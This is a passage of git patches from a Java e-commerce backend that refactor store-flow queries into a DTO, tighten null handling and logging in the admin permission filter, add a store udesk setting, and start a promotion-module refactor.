+import cn.lili.modules.order.order.entity.dto.StoreFlowQueryDTO; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; -import cn.lili.modules.order.order.mapper.StoreFlowMapper; import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.store.entity.dos.Bill; import cn.lili.modules.store.entity.dto.BillSearchParams; @@ -28,7 +25,6 @@ import cn.lili.modules.store.mapper.BillMapper; import cn.lili.modules.store.service.BillService; import cn.lili.modules.store.service.StoreDetailService; import cn.lili.mybatis.util.PageUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -39,7 +35,6 @@ import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; -import javax.annotation.Resource; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletResponse; import java.net.URLEncoder; @@ -228,12 +223,8 @@ public class BillServiceImpl extends ServiceImpl implements Bi writer.addHeaderAlias("billPrice", "应结金额"); writer.setColumnWidth(11, 20); - //存放入账列表 - LambdaQueryWrapper lambdaQueryWrapper = Wrappers.lambdaQuery(); - lambdaQueryWrapper.eq(StoreFlow::getStoreId, bill.getStoreId()); - lambdaQueryWrapper.between(StoreFlow::getCreateTime, bill.getStartTime(), bill.getCreateTime()); - lambdaQueryWrapper.eq(StoreFlow::getFlowType, FlowTypeEnum.PAY.name()); - List storeFlowList = storeFlowService.getStoreFlowPayDownloadVO(lambdaQueryWrapper); + + List storeFlowList = storeFlowService.getStoreFlowPayDownloadVO(StoreFlowQueryDTO.builder().type(FlowTypeEnum.PAY.name()).bill(bill).build()); writer.write(storeFlowList, true); writer.setSheet("退款订单"); @@ -260,12 +251,10 @@ public class BillServiceImpl extends ServiceImpl implements Bi writer.addHeaderAlias("billPrice", "结算金额"); writer.setColumnWidth(12, 20); - //存放入账列表 - LambdaQueryWrapper storeFlowLambdaQueryWrapper = Wrappers.lambdaQuery(); - storeFlowLambdaQueryWrapper.eq(StoreFlow::getStoreId, bill.getStoreId()); - storeFlowLambdaQueryWrapper.between(StoreFlow::getCreateTime, bill.getStartTime(), bill.getCreateTime()); - storeFlowLambdaQueryWrapper.eq(StoreFlow::getFlowType, FlowTypeEnum.PAY.name()); - List storeFlowRefundDownloadVOList = storeFlowService.getStoreFlowRefundDownloadVO(storeFlowLambdaQueryWrapper); + + List storeFlowRefundDownloadVOList = storeFlowService.getStoreFlowRefundDownloadVO( + StoreFlowQueryDTO.builder().type(FlowTypeEnum.REFUND.name()).bill(bill).build() + ); writer.write(storeFlowRefundDownloadVOList, true); ServletOutputStream out = null; diff --git a/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java index f122cd0c..4483ad72 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/order/PaymentLogManagerController.java @@ -1,13 +1,13 @@ package cn.lili.controller.order; -import cn.lili.mybatis.util.PageUtil; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.common.vo.SearchVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.vo.PaymentLog; -import cn.lili.modules.payment.service.PaymentService; +import cn.lili.modules.order.order.service.OrderService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -31,7 +31,7 @@ import org.springframework.web.bind.annotation.RestController; public class PaymentLogManagerController { @Autowired - private PaymentService paymentService; + private OrderService orderService; @GetMapping @@ -39,6 +39,6 @@ public class PaymentLogManagerController { public ResultMessage> getByPage(Order order, SearchVO searchVo, PageVO page) { - return ResultUtil.data(paymentService.page(PageUtil.initPage(page), PageUtil.initWrapper(order, searchVo))); + return ResultUtil.data(orderService.queryPaymentLogs(PageUtil.initPage(page), PageUtil.initWrapper(order, searchVo))); } } From 2e5f383db42f7631ec9f54d4fab32109c2a80749 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 14:36:14 +0800 Subject: [PATCH 056/145] =?UTF-8?q?=E5=BA=97=E9=93=BA=E6=B5=81=E6=B0=B4?= =?UTF-8?q?=E6=9F=A5=E8=AF=A2=E4=BA=A4=E4=BA=92=E5=8F=82=E6=95=B0=E4=BB=8E?= =?UTF-8?q?querywrapper=E8=B0=83=E6=95=B4=E4=B8=BADTO?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../DistributionOrderServiceImpl.java | 23 +++++++------------ .../order/entity/dto/StoreFlowQueryDTO.java | 6 +++++ .../order/order/service/StoreFlowService.java | 15 ++++++++++++ .../serviceimpl/StoreFlowServiceImpl.java | 21 +++++++++++++++-- 4 files changed, 48 insertions(+), 17 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java index aed156ad..c1dc8f98 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java @@ -4,7 +4,6 @@ import cn.hutool.core.date.DateField; import cn.hutool.core.date.DateTime; import cn.hutool.json.JSONUtil; import cn.lili.common.utils.CurrencyUtil; -import cn.lili.mybatis.util.PageUtil; import cn.lili.modules.distribution.entity.dos.Distribution; import cn.lili.modules.distribution.entity.dos.DistributionOrder; import cn.lili.modules.distribution.entity.enums.DistributionOrderStatusEnum; @@ -14,6 +13,7 @@ import cn.lili.modules.distribution.service.DistributionOrderService; import cn.lili.modules.distribution.service.DistributionService; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.dto.StoreFlowQueryDTO; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.StoreFlowService; @@ -21,6 +21,7 @@ import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.DistributionSetting; import cn.lili.modules.system.entity.enums.SettingEnum; import cn.lili.modules.system.service.SettingService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -87,10 +88,9 @@ public class DistributionOrderServiceImpl extends ServiceImpl storeFlowList = storeFlowService.list(new LambdaQueryWrapper() - .eq(StoreFlow::getOrderSn, orderSn) - .isNotNull(StoreFlow::getDistributionRebate)); - Double rebate = 0.0; + List storeFlowList = storeFlowService + .listStoreFlow(StoreFlowQueryDTO.builder().justDistribution(true).orderSn(orderSn).build()); + double rebate = 0.0; //循环店铺流水记录判断是否包含分销商品 //包含分销商品则进行记录分销订单、计算分销总额 for (StoreFlow storeFlow : storeFlowList) { @@ -165,7 +165,7 @@ public class DistributionOrderServiceImpl extends ServiceImpl() - .eq(StoreFlow::getRefundSn, afterSaleSn) - .isNotNull(StoreFlow::getDistributionRebate)); + StoreFlow storeFlow = storeFlowService.queryOne(StoreFlowQueryDTO.builder().justDistribution(true).refundSn(afterSaleSn).build()); if (storeFlow != null) { //获取收款分销订单 @@ -199,12 +197,7 @@ public class DistributionOrderServiceImpl extends ServiceImpl() .eq(DistributionOrder::getOrderItemSn, storeFlow.getOrderItemSn()) .set(DistributionOrder::getDistributionOrderStatus, DistributionOrderStatusEnum.CANCEL.name())); diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java index cd27df69..958b47ba 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/StoreFlowQueryDTO.java @@ -20,6 +20,12 @@ public class StoreFlowQueryDTO { @ApiModelProperty(value = "类型") private String type; + @ApiModelProperty(value = "售后编号") + private String refundSn; + + @ApiModelProperty(value = "售后编号") + private String orderSn; + @ApiModelProperty(value = "过滤只看分销订单") private Boolean justDistribution; diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java index 66a3c82a..ff879435 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java @@ -41,6 +41,14 @@ public interface StoreFlowService extends IService { */ IPage getStoreFlow(StoreFlowQueryDTO storeFlowQueryDTO); + /** + * 根据参数查询一条数据 + * + * @param storeFlowQueryDTO 查询参数 + * @return 返回分页 + */ + StoreFlow queryOne(StoreFlowQueryDTO storeFlowQueryDTO); + /** * 获取结算单地入账流水 * @@ -78,4 +86,11 @@ public interface StoreFlowService extends IService { IPage getDistributionFlow(String id, PageVO pageVO); + /** + * 获取店铺流水 + * + * @param storeFlowQueryDTO 店铺流水查询参数 + * @return 商家流水集合 + */ + List listStoreFlow(StoreFlowQueryDTO storeFlowQueryDTO); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index 7638ef51..da22d3ab 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -174,6 +174,10 @@ public class StoreFlowServiceImpl extends ServiceImpl getStoreFlowPayDownloadVO(StoreFlowQueryDTO storeFlowQueryDTO) { @@ -198,11 +202,16 @@ public class StoreFlowServiceImpl extends ServiceImpl listStoreFlow(StoreFlowQueryDTO storeFlowQueryDTO) { + return this.list(generatorQueryWrapper(storeFlowQueryDTO)); + } + /** * 生成查询wrapper * - * @param storeFlowQueryDTO - * @return + * @param storeFlowQueryDTO 搜索参数 + * @return 查询wrapper */ private LambdaQueryWrapper generatorQueryWrapper(StoreFlowQueryDTO storeFlowQueryDTO) { @@ -216,6 +225,14 @@ public class StoreFlowServiceImpl extends ServiceImpl Date: Wed, 8 Dec 2021 19:26:37 +0800 Subject: [PATCH 057/145] =?UTF-8?q?=E6=9D=83=E9=99=90=E4=B8=BA=E7=A9=BA?= =?UTF-8?q?=E6=97=B6=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../security/ManagerAuthenticationFilter.java | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java index d45eb63f..0d3654e5 100755 --- a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java +++ b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java @@ -90,8 +90,8 @@ public class ManagerAuthenticationFilter extends BasicAuthenticationFilter { //获取数据(GET 请求)权限 if (request.getMethod().equals(RequestMethod.GET.name())) { //如果用户的超级权限和查阅权限都不包含当前请求的api - if (PatternMatchUtils.simpleMatch(permission.get(PermissionEnum.SUPER.name()).toArray(new String[0]), requestUrl) - || PatternMatchUtils.simpleMatch(permission.get(PermissionEnum.QUERY.name()).toArray(new String[0]), requestUrl)) { + if (match(permission.get(PermissionEnum.SUPER.name()), requestUrl) || + match(permission.get(PermissionEnum.QUERY.name()), requestUrl)) { } else { ResponseUtil.output(response, ResponseUtil.resultMap(false, 400, "权限不足")); throw new NoPermissionException("权限不足"); @@ -109,6 +109,20 @@ public class ManagerAuthenticationFilter extends BasicAuthenticationFilter { } } + /** + * 校验权限 + * + * @param permissions 权限集合 + * @param url 请求地址 + * @return 是否拥有权限 + */ + boolean match(List permissions, String url) { + if (permissions.isEmpty()) { + return false; + } + return PatternMatchUtils.simpleMatch(permissions.toArray(new String[0]), url); + } + /** * 获取token信息 * From 450041bb0298fed06dd43df8127ea76f83b0e71a Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 19:35:18 +0800 Subject: [PATCH 058/145] =?UTF-8?q?=E6=9D=83=E9=99=90=E9=9D=9E=E7=A9=BA?= =?UTF-8?q?=E5=88=A4=E5=AE=9A=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../main/java/cn/lili/security/ManagerAuthenticationFilter.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java index 0d3654e5..a6e37cbf 100755 --- a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java +++ b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java @@ -117,7 +117,7 @@ public class ManagerAuthenticationFilter extends BasicAuthenticationFilter { * @return 是否拥有权限 */ boolean match(List permissions, String url) { - if (permissions.isEmpty()) { + if (permissions == null || permissions.isEmpty()) { return false; } return PatternMatchUtils.simpleMatch(permissions.toArray(new String[0]), url); From f850e4adaafe7ed5abfa35d6613dfc2595a290f9 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 19:53:29 +0800 Subject: [PATCH 059/145] =?UTF-8?q?=E6=97=A5=E5=BF=97=E6=89=93=E5=8D=B0?= =?UTF-8?q?=E6=9B=B4=E5=AE=8C=E5=96=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/security/ManagerAuthenticationFilter.java | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java index a6e37cbf..23fdbf61 100755 --- a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java +++ b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java @@ -94,16 +94,16 @@ public class ManagerAuthenticationFilter extends BasicAuthenticationFilter { match(permission.get(PermissionEnum.QUERY.name()), requestUrl)) { } else { ResponseUtil.output(response, ResponseUtil.resultMap(false, 400, "权限不足")); - throw new NoPermissionException("权限不足"); + log.error("当前请求路径:{},所拥有权限:{}", requestUrl, permission); + throw new NoPermissionException("权限不足-" + requestUrl); } } //非get请求(数据操作) 判定鉴权 else { - if (PatternMatchUtils.simpleMatch(permission.get(PermissionEnum.SUPER.name()).toArray(new String[0]), requestUrl)) { - - } else { + if (!match(permission.get(PermissionEnum.SUPER.name()), requestUrl)) { ResponseUtil.output(response, ResponseUtil.resultMap(false, 400, "权限不足")); - throw new NoPermissionException("权限不足"); + log.error("当前请求路径:{},所拥有权限:{}", requestUrl, permission); + throw new NoPermissionException("权限不足-" + requestUrl); } } } From 520c09b80160508a3c2e50a0776ff83fc4c8f9a9 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 20:21:51 +0800 Subject: [PATCH 060/145] =?UTF-8?q?=E5=BD=93=E7=94=A8=E6=88=B7=E4=B8=80?= =?UTF-8?q?=E4=B8=AA=E6=9D=83=E9=99=90=E9=83=BD=E6=B2=A1=E6=9C=89=E6=97=B6?= =?UTF-8?q?=EF=BC=8C=E4=BC=9A=E5=AF=BC=E8=87=B4=E7=94=A8=E6=88=B7=E6=97=A0?= =?UTF-8?q?=E6=B3=95=E8=BF=9B=E5=85=A5=E7=AE=A1=E7=90=86=E7=AB=AF=E9=A1=B5?= =?UTF-8?q?=E9=9D=A2=EF=BC=8C=E9=97=AE=E9=A2=98=E4=BF=AE=E5=A4=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../system/token/ManagerTokenGenerate.java | 50 +++++++++---------- .../security/ManagerAuthenticationFilter.java | 9 ++-- 2 files changed, 30 insertions(+), 29 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java index 850560a9..aa9ec8e3 100644 --- a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java @@ -68,40 +68,40 @@ public class ManagerTokenGenerate extends AbstractTokenGenerate { */ private Map> permissionList(List userMenuVOList) { Map> permission = new HashMap<>(2); - if (userMenuVOList == null || userMenuVOList.size() == 0) { - return permission; - } + List superPermissions = new ArrayList<>(); List queryPermissions = new ArrayList<>(); initPermission(superPermissions, queryPermissions); //循环权限菜单 - userMenuVOList.forEach(menu -> { - //循环菜单,赋予用户权限 - if (StrUtil.isNotEmpty(menu.getPermission())) { - //获取路径集合 - String[] permissionUrl = menu.getPermission().split(","); - //for循环路径集合 - for (String url : permissionUrl) { - //如果是超级权限 则计入超级权限 - if (menu.getSuper()) { - //如果已有超级权限,则这里就不做权限的累加 - if (!superPermissions.contains(url)) { - superPermissions.add(url); + if (userMenuVOList == null || userMenuVOList.isEmpty()) { + userMenuVOList.forEach(menu -> { + //循环菜单,赋予用户权限 + if (StrUtil.isNotEmpty(menu.getPermission())) { + //获取路径集合 + String[] permissionUrl = menu.getPermission().split(","); + //for循环路径集合 + for (String url : permissionUrl) { + //如果是超级权限 则计入超级权限 + if (menu.getSuper()) { + //如果已有超级权限,则这里就不做权限的累加 + if (!superPermissions.contains(url)) { + superPermissions.add(url); + } } - } - //否则计入浏览权限 - else { - //没有权限,则累加。 - if (!queryPermissions.contains(url)) { - queryPermissions.add(url); + //否则计入浏览权限 + else { + //没有权限,则累加。 + if (!queryPermissions.contains(url)) { + queryPermissions.add(url); + } } } } - } - //去除重复的权限 - queryPermissions.removeAll(superPermissions); - }); + //去除重复的权限 + queryPermissions.removeAll(superPermissions); + }); + } permission.put(PermissionEnum.SUPER.name(), superPermissions); permission.put(PermissionEnum.QUERY.name(), queryPermissions); return permission; diff --git a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java index 23fdbf61..27a1586f 100755 --- a/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java +++ b/manager-api/src/main/java/cn/lili/security/ManagerAuthenticationFilter.java @@ -1,6 +1,7 @@ package cn.lili.security; import cn.hutool.core.util.StrUtil; +import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.security.AuthUser; @@ -94,16 +95,16 @@ public class ManagerAuthenticationFilter extends BasicAuthenticationFilter { match(permission.get(PermissionEnum.QUERY.name()), requestUrl)) { } else { ResponseUtil.output(response, ResponseUtil.resultMap(false, 400, "权限不足")); - log.error("当前请求路径:{},所拥有权限:{}", requestUrl, permission); - throw new NoPermissionException("权限不足-" + requestUrl); + log.error("当前请求路径:{},所拥有权限:{}", requestUrl, JSONUtil.toJsonStr(permission)); + throw new NoPermissionException("权限不足"); } } //非get请求(数据操作) 判定鉴权 else { if (!match(permission.get(PermissionEnum.SUPER.name()), requestUrl)) { ResponseUtil.output(response, ResponseUtil.resultMap(false, 400, "权限不足")); - log.error("当前请求路径:{},所拥有权限:{}", requestUrl, permission); - throw new NoPermissionException("权限不足-" + requestUrl); + log.error("当前请求路径:{},所拥有权限:{}", requestUrl, JSONUtil.toJsonStr(permission)); + throw new NoPermissionException("权限不足"); } } } From 036ad6defb257983f925059916bda299b6778846 Mon Sep 17 00:00:00 2001 From: Chopper Date: Thu, 9 Dec 2021 19:52:40 +0800 Subject: [PATCH 061/145] =?UTF-8?q?=E5=BA=97=E9=93=BAudesk=E8=AE=BE?= =?UTF-8?q?=E7=BD=AE=E6=94=AF=E6=8C=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/store/service/StoreDetailService.java | 7 +++++++ .../store/serviceimpl/StoreDetailServiceImpl.java | 11 ++++++++--- .../controller/settings/StoreSettingsController.java | 8 ++++++++ 3 files changed, 23 insertions(+), 3 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java b/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java index 8232dd2f..e90ccc9e 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java @@ -113,4 +113,11 @@ public interface StoreDetailService extends IService { * @param store 店铺信息 */ void updateStoreGoodsInfo(Store store); + + /** + * 修改店铺udesk字段设置 + * + * @param merchantEuid 店铺客服信息 + */ + Boolean editMerchantEuid(String merchantEuid); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java index ac668289..99799f78 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java @@ -7,11 +7,8 @@ import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.BeanUtil; import cn.lili.modules.goods.entity.dos.Category; -import cn.lili.modules.goods.entity.dos.Goods; -import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.CategoryService; import cn.lili.modules.goods.service.GoodsService; -import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.search.utils.EsIndexUtil; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dos.StoreDetail; @@ -113,6 +110,14 @@ public class StoreDetailServiceImpl extends ServiceImpl edit(String merchantEuid) { + //修改UDESK设置 + Boolean result = storeDetailService.editMerchantEuid(merchantEuid); + return ResultUtil.data(result); + } + @ApiOperation(value = "修改店铺库存预警数量") @ApiImplicitParam(name = "stockWarning", value = "库存预警数量", required = true, dataType = "Integer", paramType = "query") @PutMapping("/updateStockWarning") From d9d19f8cbd026cc96a82bd4569c6373b95dcf487 Mon Sep 17 00:00:00 2001 From: paulGao Date: Fri, 10 Dec 2021 20:15:03 +0800 Subject: [PATCH 062/145] =?UTF-8?q?=E9=87=8D=E6=9E=84=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E4=BF=83=E9=94=80=E6=A8=A1=E5=9D=97=E3=80=82=E7=A7=BB=E9=99=A4?= =?UTF-8?q?=E4=BF=83=E9=94=80=E7=9B=B8=E5=85=B3=E7=9A=84mongo?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/li_promotions.sql | 38 ++ .../CouponBuyerController.java | 11 +- .../KanjiaGoodsActivityBuyerController.java | 4 +- .../promotion/PintuanBuyerController.java | 14 +- .../promotion/PointsGoodsBuyerController.java | 5 +- .../impl/RegisteredCouponActivityExecute.java | 4 +- .../lili/event/impl/StockUpdateExecute.java | 15 +- .../lili/listener/GoodsMessageListener.java | 70 ++- .../promotion/PromotionEverydayExecute.java | 192 +------- .../PromotionTimeTriggerExecutor.java | 47 -- framework/pom.xml | 6 + .../java/cn/lili/common/enums/ResultCode.java | 12 +- .../config/ElasticsearchConfig.java | 6 + .../goods/service/GoodsSkuService.java | 16 + .../goods/serviceimpl/GoodsServiceImpl.java | 2 +- .../serviceimpl/GoodsSkuServiceImpl.java | 50 +- .../modules/member/service/MemberService.java | 10 + .../member/serviceimpl/MemberServiceImpl.java | 15 + .../order/cart/entity/vo/FullDiscountVO.java | 9 + .../cart/render/impl/CheckDataRender.java | 8 +- .../cart/render/impl/CommissionRender.java | 8 +- .../order/cart/render/impl/CouponRender.java | 4 +- .../cart/render/impl/FullDiscountRender.java | 64 +-- .../order/cart/service/CartServiceImpl.java | 27 +- .../entity/dto/AfterSalePriceDetailDTO.java | 4 +- .../order/entity/dto/OrderSearchParams.java | 23 +- .../order/order/mapper/OrderMapper.java | 11 + .../order/order/service/OrderService.java | 40 ++ .../order/serviceimpl/OrderServiceImpl.java | 73 ++- .../modules/promotion/entity/dos/Coupon.java | 43 +- .../promotion/entity/dos/CouponActivity.java | 6 +- .../entity/dos/CouponActivityItem.java | 2 + .../promotion/entity/dos/FullDiscount.java | 4 +- .../promotion/entity/dos/KanjiaActivity.java | 4 +- .../entity/dos/KanjiaActivityGoods.java | 10 +- .../promotion/entity/dos/MemberCoupon.java | 7 +- .../modules/promotion/entity/dos/Pintuan.java | 4 +- .../promotion/entity/dos/PointsGoods.java | 18 +- .../promotion/entity/dos/PromotionGoods.java | 59 ++- .../modules/promotion/entity/dos/Seckill.java | 34 +- .../promotion/entity/dos/SeckillApply.java | 3 +- ...BasePromotion.java => BasePromotions.java} | 35 +- .../entity/dto/CouponActivityDTO.java | 2 + .../entity/dto/KanjiaActivityGoodsDTO.java | 4 +- .../entity/dto/PromotionGoodsDTO.java | 5 +- ...um.java => PromotionsApplyStatusEnum.java} | 4 +- ...Enum.java => PromotionsScopeTypeEnum.java} | 6 +- ...tusEnum.java => PromotionsStatusEnum.java} | 4 +- .../vos/BasePromotionsSearchParams.java | 64 +++ .../entity/vos/CouponActivityItemVO.java | 2 + .../entity/vos/CouponActivityVO.java | 2 + .../entity/vos/CouponSearchParams.java | 136 ++--- .../promotion/entity/vos/CouponVO.java | 14 +- .../entity/vos/FullDiscountSearchParams.java | 61 +-- .../entity/vos/PintuanSearchParams.java | 70 +-- .../promotion/entity/vos/PintuanVO.java | 7 + .../entity/vos/PointsGoodsSearchParams.java | 53 +- .../vos/PromotionGoodsSearchParams.java | 64 +-- .../entity/vos/SeckillSearchParams.java | 81 +-- .../vos/kanjia/KanjiaActivityGoodsParams.java | 36 +- .../kanjia/KanjiaActivitySearchParams.java | 5 +- .../mapper/PromotionGoodsMapper.java | 15 +- .../service/AbstractPromotionsService.java | 130 +++++ .../service/CouponActivityItemService.java | 7 + .../service/CouponActivityService.java | 29 +- .../promotion/service/CouponService.java | 91 +--- .../service/FullDiscountService.java | 57 +-- .../service/KanjiaActivityGoodsService.java | 12 +- .../service/MemberCouponService.java | 15 + .../promotion/service/PintuanService.java | 84 +--- .../promotion/service/PointsGoodsService.java | 50 +- .../service/PromotionGoodsService.java | 108 ++-- .../promotion/service/PromotionService.java | 11 - .../service/SeckillApplyService.java | 19 +- .../promotion/service/SeckillService.java | 92 +--- .../AbstractPromotionsServiceImpl.java | 276 +++++++++++ .../CouponActivityItemServiceImpl.java | 10 + .../CouponActivityServiceImpl.java | 211 ++++---- .../serviceimpl/CouponServiceImpl.java | 453 +++++++---------- .../serviceimpl/FullDiscountServiceImpl.java | 311 ++++-------- .../KanjiaActivityGoodsServiceImpl.java | 198 +++----- .../KanjiaActivityLogServiceImpl.java | 4 +- .../KanjiaActivityServiceImpl.java | 30 +- .../serviceimpl/MemberCouponServiceImpl.java | 91 ++-- .../serviceimpl/PintuanServiceImpl.java | 441 ++++++----------- .../PointsGoodsCategoryServiceImpl.java | 6 +- .../serviceimpl/PointsGoodsServiceImpl.java | 336 ++++++------- .../PromotionGoodsServiceImpl.java | 371 ++++++-------- .../serviceimpl/PromotionServiceImpl.java | 465 +++--------------- .../serviceimpl/SeckillApplyServiceImpl.java | 287 +++++------ .../serviceimpl/SeckillServiceImpl.java | 365 +++++--------- .../promotion/tools/PromotionTools.java | 105 ++-- .../search/service/EsGoodsIndexService.java | 17 +- .../search/service/EsGoodsSearchService.java | 8 + .../serviceimpl/CustomWordsServiceImpl.java | 17 +- .../serviceimpl/EsGoodsIndexServiceImpl.java | 83 ++-- .../serviceimpl/EsGoodsSearchServiceImpl.java | 13 + .../java/cn/lili/mybatis/util/PageUtil.java | 22 + .../cn/lili/rocketmq/tags/GoodsTagsEnum.java | 8 + .../other/CustomWordsController.java | 5 +- .../CouponActivityManagerController.java | 11 +- .../promotion/CouponManagerController.java | 19 +- .../FullDiscountManagerController.java | 21 +- .../KanJiaActivityGoodsManagerController.java | 3 +- .../promotion/PintuanManagerController.java | 35 +- .../PointsGoodsManagerController.java | 40 +- .../promotion/PromotionManagerController.java | 14 +- .../promotion/SeckillManagerController.java | 34 +- .../src/main/resources/application.yml | 1 + .../cn/lili/test/elasticsearch/EsTest.java | 21 +- .../cn/lili/test/promotion/CouponTest.java | 33 +- .../lili/test/promotion/FullDiscountTest.java | 22 +- .../test/promotion/PromotionPriceTest.java | 21 +- .../cn/lili/test/promotion/SeckillTest.java | 6 +- .../promotion/CouponStoreController.java | 29 +- .../FullDiscountStoreController.java | 27 +- .../promotion/PintuanStoreController.java | 45 +- .../promotion/SeckillStoreController.java | 11 +- 118 files changed, 2998 insertions(+), 3885 deletions(-) create mode 100644 DB/li_promotions.sql rename buyer-api/src/main/java/cn/lili/controller/{member => promotion}/CouponBuyerController.java (89%) rename framework/src/main/java/cn/lili/modules/promotion/entity/dto/{BasePromotion.java => BasePromotions.java} (53%) rename framework/src/main/java/cn/lili/modules/promotion/entity/enums/{PromotionApplyStatusEnum.java 